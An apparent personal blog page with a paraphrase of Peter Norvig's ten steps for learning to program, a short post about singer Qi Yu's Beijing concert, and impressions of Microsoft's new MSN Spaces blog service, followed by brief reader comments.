  1. Get interested in programming, and do some because it is fun. This is the most important thing in programming. You learn programming because it's fun and you love it.
  2. Talk to other programmers; read other programs. Learn from others.
  3. Program. Learn from practice.
  4. If you want, put in four years at a college (or more at a graduate school). Norvig said a deploma or a degree would help you to gain more experience. I say the 4 years study can help you to understand 7, 8.
  5. Work on projects with other programmers. Learn from others.
  6. Work on projects after other programmers. Learn and create from others.
  7. Learn at least a half dozen programming languages. Understand language.
  8. Remember that there is a "computer" in "computer science". Understand computer.
  9. Get involved in a language standardization effort. Understand the creation of language.
  10. Have the good sense to get off the language standardization effort as quickly as possible. But you don't have to follow all the standards.

Those are good advice, and I've practise most of them :) and I've been programming more than 10 years. So, it's time for me to become a good programmer now. But first of all, let me finish reading the Artificial Intelligence: A Modern Approach. I borrowed it in September, but I havn't finished reading Chapter 1. :(


Labels: ,

Thursday, December 2

Not popular: 齐豫

“我一开始就不是追究流行的人,而是唱我自己最拿手的,唱自己觉得最符合人性的东西,我没有把音乐的类型做很大的限制,所以我也不觉得有没有推不推流行的忧虑。”

齐豫 is having a show "北京演唱会" tomorrow.

A friend sent me a tape 8 years ago.
齐豫 sang several European opera songs in Russia. She is so good!

MSN's Spaces

Microsoft has it's blog service now. It is called "MSN Spaces". I tried it and found it looks like a "Personal Hompage" other than a "blog".

You can post a message, share your photo, share music list in this "Personal Homepage".


但是非常好用。
界面定制上远比一般的blog要强很多~~
 
This comment has been removed by a blog administrator.